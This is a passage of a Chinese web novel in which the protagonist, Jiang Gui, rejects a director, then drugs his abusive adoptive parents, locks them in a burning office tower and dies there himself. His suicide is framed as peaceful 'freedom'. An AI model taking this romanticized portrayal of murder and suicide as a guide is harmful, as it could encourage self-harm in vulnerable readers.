巫南毫不担心被拍到或外传,半搂半抱着姜瑰在休闲沙发上坐下来,颇有耐心又格外温柔的哄他:“瑰瑰,跟我回剧组,我再也不换角了,好不好?” 姜瑰被亲得有些迷离,下意识扶着巫南的手臂勉强稳住身形。 眸中水波粼粼,一颤一颤,看上去异常令人心动。 巫南忍不住又亲了亲他。 直到说第二遍,姜瑰才勉勉强强听清了巫南在说什么。 然而姜瑰只对巫南笑了笑:“谢谢,不用了。” 和姜昊成他们约的是下午三点整。 现在已经一点了。 从这里过去姜氏CBD的大楼还要大概一个多小时。 姜瑰还想去看看楼里闲杂人员和无关的工作人员有没有清理干净。 真没时间陪巫南在这里闲聊胡闹了。 姜瑰想了又想,用尽全力想把话说的礼貌又真诚:“巫导,我不准备再拍戏了。” 巫南脸色“唰”的变了。 其实自从换角的事爆上热搜以后,姜瑰几乎每天都挂在头版头条上没下来过,一会儿外界猜测他是有新本子,一会儿又猜测他和巫南的恋情。 而这两天更多的一种猜测则是来源于外网推上。 从英文转成中文,上面的内容是姜瑰要和杜家新家主回国,离开国内的娱乐圈,不再拍戏。 “什么意思?” 巫南每一个字都像是从唇齿间蹦出来,显得艰难。 姜瑰却连一丝关注都欠奉,他又看了眼挂在公寓公区墙上的时钟,心急火燎:“就是字面意思,巫导,拍戏对我来说太累了。” “而且,我从来都不喜欢拍戏。” 姜瑰转向巫南,难得说了句实话,“那时候都是为了勾引你,我才努力演戏的。” 这栋高级公寓是A市最贵最有私密性的便捷性主宅,有很多不喜欢别墅和大平层的名流就住在这里。 是当时谢筠池给姜瑰买的。 内里装修豪华又精巧,连公区休闲卡座都有照灯镜盒美妆镜。 就在这一刻。 巫南从镜面里看到了自己难看到阴郁的脸。 他没有放开姜瑰的手,而是攥得更紧。 他看着眼前的人,有那么一秒甚至很想干死他再自杀,或许这样,是不是现在这一刻可以不用那么痛苦。 神智和理智好像被抽出身体独自存在的幽魂,飘在半空看着他的渴望和欲求。 也听到他对姜瑰说:“那为什么……当时非要,去勾引我。” 巫南问得晦涩又艰难。 大概对于他这种名门出身的贵子,这种毫无廉耻的话实在丢脸。 可姜瑰永远理直气壮:“因为那时候你有用呗。” 有用。 巫南发现自己似乎笑了一下,竟还能问的出口:“……我有什么用?” “那太有用了好吗?你有资源和人脉呀。” 姜瑰从来比任何人都要直爽和伤人,“我那时候那么糊,如果不是搭上你,谁能看到我啊?谁给我颁那座新人奖哇!” 巫南是国内电影里最年轻的名导,是真正的名门世家贵族出身,是最有权威性和说一不二的根本。 上他的电影,本身就是一种资源。 是姜瑰当时出头急需的最高资源。 所以,姜瑰才找上了他。 不是他以前说过的崇拜,不是钦慕,更不是姜瑰曾经口口声声的爱。 ——原来这才是原因。 巫南扯了扯嘴角,伸手,捂住了姜瑰的眼睛,轻声问:“姜瑰,如果我当时没同意呢?” “哦,那就找其他人吧。” 被挡住了光源和视觉的姜瑰下意识伸手虚空的抓了两下,没能找到一个落点,所以声音也显得弱气了些,“我当时太需要出名了,必须要找个靠山的。” 一种恶心欲呕的感觉充斥巫南的身体每一寸,让他几乎想要发狂。 他从来不是唯一,不是挚爱。 他只是一个序号,排名序号一。 他拒绝了,姜瑰自然有备选二三四,也会和他们亲吻,缱绻,上床,那些姿势…… 巫南甚至没能想下去。 因为很快就发现,自己根本接受不了。 巨大的头脑撕裂般的痛处席卷他身体的每一寸神经,让他连呼吸都备受煎熬。 而赐予这一切的都是眼前的这个人。 巫南突然想:如果那天他没有提换角就好了。 姜瑰就找不到借口和他翻脸,或许就只能继续演下去。 演他的戏,演他,演到两个人天长地久。 那多好啊。 怎么会成现在这样呢? 无法抵御的沉重和绞痛感让巫南整个人都显得蜷曲,他将姜瑰压在怀里,明明看清姜瑰脸上厌烦和不耐,却还想低声下气不依不饶的问他。 “我现在依旧可以当你的靠山的。” 巫南低头去吻姜瑰的唇角。 眼角的泪却顺着两人相贴的角度落在姜瑰漂亮的脸上。 巫南声音嘶哑:“我的电影,所有的男一号……” 姜瑰的眼睛是清凌凌的,抬起来,是平静又恬淡的神色:“不行了。” 姜瑰的语气依旧是真诚的:“巫导,你不够格了。” “我可以的!姜瑰!” 巫南伸手狠狠抱住了怀里的人,像是要通过拥抱把姜瑰刻进骨头里。 他的语气几乎是祈求的,“除了我所有的电影,还有我父母的资源,你知道我父母的,我家里……” 姜瑰微微弯起嘴角,笑着冲巫南摇了摇头:“不够的。” 巫南眼角的泪彻底滑下来。 他喉结滚了滚,近乎哀伤的看着姜瑰。 “你接手了你父母的产业吗?你手里有足够的现金流和资本吗?” 姜瑰既温和又包容的对上巫南的视线,柔声道,“你只是个大导演,巫南,对我来说,你什么都没有。” 时尚圈最大的宠儿,国外追捧的热点,国际冉冉升起的最年轻导演。 就这样被姜瑰轻而易举的彻底否定,毫不犹豫的踩在脚下。 像泥一样。 巫南颤抖得厉害,几乎都要抱不稳姜瑰。 “你太嫩了,巫导。” 姜瑰坚定不移的伸手,推开巫南圈住他的手臂,“你也太年轻了,算了吧,好不好?” 姜瑰站起身。 却在离开的那一秒被巫南伸手抓住左手。 他握得很紧,仿佛担心一松手姜瑰就会立刻消失不见。 巫南的手心冰冷:“姜瑰,我会回去接手家族企业,无论是父亲那边,母亲那边。” “你再等等我,只要两年,最多只要两年!” 姜瑰却摇摇头。 “巫导,你理解错我的意思了。我没有任何让你放弃电影行业,去迎合家族的意思。” 姜瑰轻声细语的道,“你是最有电影天赋的天才导演,你应该好好发挥天资,而不是把时间浪费在我身上。” “不!” 巫南打断他,“姜瑰,我愿意,是我自己愿意的!” 姜瑰笑起来,回头,朝巫南眨了眨眼:“那如果等你彻底放弃电影,接管家族,我又变卦了呢?” 巫南愣住了。 “其实没有那么多原因。” 姜瑰从巫南手中抽出自己的手,缓慢地,坚定地,“巫导,我只是不想要你了。你理解了吗?” * 姜氏的大楼坐落于这座城市老城区的CBD。 和新城的商业区相比,这里立刻降了档次。 楼不够高,车道不够宽,停车场不够智能,就连周边配套也相差老远。 但它依旧需要姜瑰小心翼翼的攒许多许多年钱,才能慢条斯理又正大光明的从正门走进来,昂首挺胸的踩在光洁敞亮的地面上。 不像小时候那样像个小偷。 本来就不是工作日,相关的保洁和值班人员被临时通知今日不排班后,整栋楼都显得空旷。 姜瑰告诉融资公司的负责人等他通知后再过来。 他拎着一瓶酒,独自走进大楼,没有坐电梯,一层楼一层楼的爬上去,一层楼一层楼的锁了门。 直到顶楼。 姜昊成和楚岚比姜瑰先到。 姜瑰踏进顶楼总办公室的瞬间,跟姜昊成对上视线。 “姜瑰?!” 姜瑰反手关上门,走进去:“是我。” 姜昊成瞬间变了脸色,破口大骂:“你个小杂种你瞎闹什么?!公司是你儿戏的地方吗?你别跟我说谈融资的那个人就是你?你个狗杂碎有多远给我滚……” “是我。” 姜瑰随意把酒放在桌上,对姜昊成道,“你确定要我滚吗?” 姜昊成还在骂:“你个羔逼崽子,老子抽死……” 姜瑰抬眼看他:“要不您还是少说两句。” 姜瑰道:“验资是真的,钱是真的,现在姜氏需要的缺口,除了我,恐怕没谁愿意给您话这么大价钱补了吧。” 姜昊成和楚岚同时沉默了。 但也只是片刻。 不到一分钟后。 姜昊成再次指着姜瑰辱骂起来:“你个傻逼玩意儿在外面挣了钱不知道先拿回来给家里应急,还找外面的破融资集团跟我谈收购合作,你个白眼……” “喝一杯吧。” 姜瑰拧开白酒瓶,不知道从哪里摸出三个小酒杯,先给自己倒了一杯,一口喝空了。 姜瑰朝姜昊成晃晃杯底:“我特意找了瓶茅台,窖藏的,很适合今天的环境吧。” 姜昊成恶狠狠的瞪了姜瑰一眼,端起酒杯。 站在他身旁不吭声的楚岚拉了他一把。 姜昊成喝酒的动作一顿。 “喝吧,没毒,没看我刚开的瓶吗?” 姜瑰大剌剌晃了晃手中的酒,又给自己斟了一杯,“楚阿姨,碰一个吧。就当这么多年恩怨一笔勾销了。” 二十多年了,楚岚依旧妆容精致,像小时候领姜瑰回去的那天。 也像后续鞭打挨饿的很多天。 她咬着下唇,还欲再跟姜瑰说什么,姜瑰却先举起了酒杯。 楚岚无法,只得轻轻碰了一下,将自己的那杯喝了下去。 姜昊成十个更典型的粗人,高度数的白酒一杯下肚就能上脸,一上脸骂得就更为难听:“要我说姜瑰你既然是个二椅子,就好好去睡资源带回来给我们姜家。” “反正八卦都上了那么多,你多陪几个……” 姜昊成指着姜瑰的鼻尖,“他们是不是搞得你挺爽的?才把你心搞野了,我给你说,姜瑰,你这辈子死也给我死在姜家。” 他举着酒杯,指点江山:“你去再睡睡那个商会主席,让他给我们再加些商业资源,姜氏这次肯定能……” 姜昊成猛地一屁股坐在地上,脚徒劳蹬了几下,没蹬动,有些麻木的大着舌头问:“你这是什么酒,还挺辣……” 楚岚却也一阵头晕眼花。 她眼瞳蓦地睁大,刹那间扭头看向姜瑰,可整个人晕得厉害,险些站立不稳:“你……姜瑰……” “我下了药。” 姜瑰眯起眼睛笑,眉眼弯弯,还很像他小时候的那种模样,“被担心,不是毒死人的那种药。” 楚岚神色豁然大变,登时伸手去晃姜昊成:“别睡,醒醒!老公!清醒过来!” 姜瑰没有刻意压低声音。 姜昊成自然也听到了他的话。 他那张有些臃肿和肥胖的脸格外难看,肥肉纵横间露出阴狠又毒辣的神情:“姜瑰,你个贱货给老子下了什么?!” 姜瑰看着他,用一种看死人的表情,不说话。 姜昊成破口大骂,一边骂一遍拉着楚岚努力站起来,朝门的方向匍匐着行径。 “贱人,贱人,等我出去老子弄死你……” 姜瑰就坐在办公室正中的老板椅上,前后微微晃动。 绵黄色的日光落在他惨白的脸上,是个漠然又静默的表情。 “我把门锁上了。” 姜瑰柔声说。 楚岚霎时变了脸。 她喝得没有姜昊成那么多,只一杯,还能勉勉强强颤抖着移动。 于是跪在地上朝姜瑰爬过来:“瑰瑰,别闹了,不要吓妈妈,我们都是一家人,以前或许是有些误会,妈妈和爸爸都可以跟你解释……” 姜瑰将剩余的酒泼在办公室白色大理石的地面上。 在楚岚惊慌失魂的骇然里。 将装在身上用来点烟的打火机打着,连油带火扔在了酒里。 “唰”—— 火苗蹭的窜了起来。 刚开始只是酒液的那一片。 但这间办公室是姜昊成的办公室,他在这里面放了太多太多个人的收藏。 价值连城的古董,著名画家的挂画,书架上的文件和用来装门面的名著,还有待客用的沙发,各种各样的易燃物。 很快,办公室的温度就超过了这个夏末本有的温度。 姜瑰坐在姜昊成的老板椅上,靠在窗边,伸手推开玻璃,向外望去。 ——二十六楼。 他终于能站在姜氏写字楼的顶楼看楼下的车水马龙。 原来这栋他所向往的高楼并没有现在其他的高楼那样高耸入云,令人惊恐。 夏末午后的风吹进这间燃烧的办公室,将火势吹得更盛。 姜瑰怔怔的看着火苗吞吐,眼底的火光跳动,竟硬生生给他烧出了一点活人的人气。 他说:“好旺盛。” 温度越来越高了。 姜昊成一边辱骂姜瑰一边喊着楚岚拿手机打火警热线,偏偏刚刚两人逃命时楚岚的手包落在了办公桌上。 现在火苗一起。 办公桌和他们那边被火线分割,宛如天堑。 楚岚再也顾不得体面,趴在地上求姜瑰把手包给他,眼泪从这个女人的眼睛里流下来,又被熊熊的烈火蒸干,像一场不太体面的闹剧。 姜昊成嘴里又骂了几句,最后却缩着头:“姜瑰,算爸爸求你了,你报火警,或者把我们的手机递过来。” “你想要姜家,爸爸妈妈以后都留给你……” 姜瑰笑起来。 他看着姜昊成和楚岚跪在那儿的样子,其实也没有特别开心。 他拿起楚岚的包,在那两人充满祈愿的目光中开口问:“当初,在我小的时候,为什么要让庄丽带姜佩玉回去?” 隔着吞吐不休的火光。 姜昊成和楚岚分外明显的愣了一下。 庄丽这个名字从没有在姜家出现过,无论是姜佩玉没回来的时候,还是姜佩玉回到姜家以后。 她像是这个老旧豪门里不太光彩的一抹碳灰,被丢进废弃的垃圾桶里。 原本姜瑰也应该不知道的。 不知道是因为突然听到这个名字,还是想到什么。 楚岚尖声道:“不是你想的那样,姜瑰,不是我们从庄丽身边抢走你的!是她为了钱!为了钱治病!是她主动的心甘情愿的!” 姜瑰举起楚岚的包,连带着里面的手机一同晃了晃:“我凭什么相信你?” “就凭你知道了庄丽这个人。” 姜昊成粗噶的音色传来,他略显臃肿的身形被烟熏的上气不接下气,带着怒意,“你应该也见过她发病的样子了吧?!” “那个贱人……” 姜昊成一边喘一边唾骂,“跟我们签合同的时候不告诉我们她有病,拿了我们的钱,反倒让你过上姜家少爷的好生活,妈的死女人……” “你少说两句吧!” 楚岚推了姜昊成一把,又讨好的哑声哀求姜瑰,“瑰瑰,爸爸妈妈也是被庄丽骗的,虽然以前在家里对你不好,但给你在外面吃的用的都是最好的,对不对?” 楚岚年轻时候是演员出身,说着说着就抽噎起来:“瑰瑰,爸爸妈妈错了,你原谅爸爸妈妈,我们出去以后一家人好好生活,好不好?” 庄丽记得他有姜瑰这个儿子吗? 还是曾经记得,又不记得了? 庄丽有没有那么一丝……哪怕曾经想过他呢? 火光将办公室的玻璃照得鲜明,将经年的过往烧得一干二净,再无处可寻。 姜瑰做出一个向上抛的动作,却又在楚岚满怀欣喜爬在地上试图要接的动作里,把那只香家的小包丢进了烈火里。 火焰真亮啊。 亮得所有再贵的奢侈品都能变成一剖散落的灰。 所有的谎言再次变成辱骂。 “贱人!” “畜生!当初就该打死你!” “孽障!贱货!” “怎么办!快想想办法……” 两人匍在地上试图隔绝火焰,不断敲打大门,又那么杯水车薪,倒真的显出几分苍老的可怜。 姜瑰收回目光,靠在窗边,拿起自己的手机,上面有一条虞亭至发来的新信息。 “乖乖,我接受调查结束了,晚上想吃什么?我给你做。” 他看了很久,看到眼睛都有些酸涩。 然后往前翻了翻,重新看了一遍自己和虞亭至所有的聊天。 其实不多。 竟然很快就能看完。 火势越来越旺。 姜昊成和楚岚被熏得终于再也腾不出空骂他。 姜瑰打开虞亭至的信息栏,删除了这个好友。 大概是姜氏这栋高楼的顶楼起火到底还是有些引人瞩目。 姜瑰隐隐约约听到远处似乎有消防的声音。 不过不要紧。 他锁了每一层的楼,还弄坏了电梯。 消防车的声音果然越来越近。 被火线隔开的另一头,大概是因为没有窗户可以借助呼吸,楚岚和姜昊成渐渐没了声音。 也没了辱骂。 姜瑰的手机突然剧烈的震动起来。 他低头去看—— 哦,杜温瑜。 姜瑰不准备去接。 门到底是锁着,烟气渐渐呛过来了,熏得他喉咙生疼。 眼前的浓烟逐渐弥漫开来,让他看不太清。 但手机实在太响太响了。 吵得他上路时都要不太安生。 姜瑰不想这样,他想平静一点的走。 所以他按了接听。 “杜温瑜。” 姜瑰说。 “瑰瑰!不要怕,不要怕!撑住!” 姜瑰从没见过杜温瑜这样惊慌失措的声音,像是可以从这幅声音,看到他勃然变色的那张俊脸。 这幅声音那么有名,是乐坛最负盛名的教父,是无人超越的存在。 哪怕到了这种时候,依旧是好听的。 姜瑰的嗓音却被熏得很哑了。 他对杜温瑜说:“你好吵啊。” “直升机马上就过来了,姜瑰,我求求你!直升机马上就过来了!消防队在一层层开锁上楼!” 杜温瑜的语气几乎是恐惧的,哀求的,带着痛的,“你再坚持一会儿,好不好?就一会儿,姜瑰,我求你,我求求你!” 浓烟充满了整间屋子。 姜昊成和楚岚已经彻底没了声息。 “我知道,杜温瑜。” 姜瑰的语气是悠然的,甚至有点小小的开心,“楼层是我锁的,你们要开二十五层,来不及的。” 杜温瑜已经是嘶声了。 他的声音像是拉坏了的风箱,变得嘶哑又无限延长:“来得及!姜瑰!我来得及!等我!我就在楼下,你等等我,等等我好不好?!” “你不想去奥地利我们就不去,我们就在国内,我陪着你,我永远陪着你!” 姜瑰没有说话。 他攀在窗沿上向下看,从一个角落不那么浓密的烟雾里,看到了杜温瑜的身影。 二十多层的距离。 他终于变得很矮很小,像是能被踩在脚下。 姜瑰终于有些满意。 “直升机还有一分钟就到,瑰瑰,只要一分钟,我马上就去接你,不要怕,不要怕好不好?” 杜温瑜的声音从电话里传来,渐渐变得不那么清晰。 就像姜瑰的视野也逐渐开始模糊。 他坐在窗沿上,晃着腿,像个很小的孩子。 他抬起头,从这座高楼的顶楼看到云朵咧着嘴对他笑,看到从窗户漫出的浓烟长了腿跟他赛跑。 姜瑰觉得开心。 他单手抓着窗栏,跟杜温瑜在手机里讲话:“我不害怕。” 姜瑰咳了几声,在手心里看到几片血点,便随手抹了抹。 几乎同时。 杜温瑜也看到了坐在窗栏上的那个人。 他的声音已经是惊惶了,又像是祈求和颤抖:“不要,姜瑰,不要跳,求求你,活着,你活着!我什么都答应你,我什么都答应你!” 隔了只几秒。 杜温瑜像是一退再退,哀声道:“瑰瑰,不要放弃自己,只要你活着,哪怕你想和虞亭至在一起,我退出,我不逼你,好吗?姜瑰,别放弃,求求你!” 姜瑰却笑了起来。 这是两人认识的第四年,他笑起来的声音却还像初见那样,很轻,又轻又脆。 像那个夏夜红毯之后,两人第一次对上视线。 ——“杜老师您好呀!” ——“你是……” 时光穿过厉厉风声。 那道刻入骨髓的声音回答他。 “我是一个杀了人的纵火犯欸……杜老师,我为什么,要去和虞亭至在一起呢?” 瞬间。 杜温瑜像是听到某种绝望的宣告:“不!姜瑰!” “我也没有什么需要你答应的了。” 姜瑰叫他一声,顿了顿,传来几声压抑住的咳嗽,“总之……杜温瑜,谢谢你帮我救了虞亭至。” 杜温瑜仰头竭力向上去看。 二十六层。 那个身影实在太小太小,被淹没在浓雾里,再被一点一点慢慢吞噬。 杜温瑜再也站立不住,跪了下来。 像是终于意识到无论说什么都无法将那个人重新拉回身边。 杜温瑜抓在墙壁上的手已经满是血痕和伤口,脸上亦不知是泪还是血:“姜瑰,我爱你,我爱你……你不要死,我求求你不要跳,我爱你,我永远爱你。” 过了片刻。 姜瑰已经显得细弱的声音才从手机传过来:“杜老师,你是很坏的人。” “我知道!……我知道。” “你也是很好的人。” 姜瑰又道。 坐在窗栏的人轻轻吸了口气,像是他胸口那只枯尾蝶最后翕合的一次翅膀。 空气仿佛在这一刻不再流转。 世界便也静止。 只有那只枯尾蝶振翅欲飞。 “杜温瑜。” “愿你幸福,也祝我自由。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m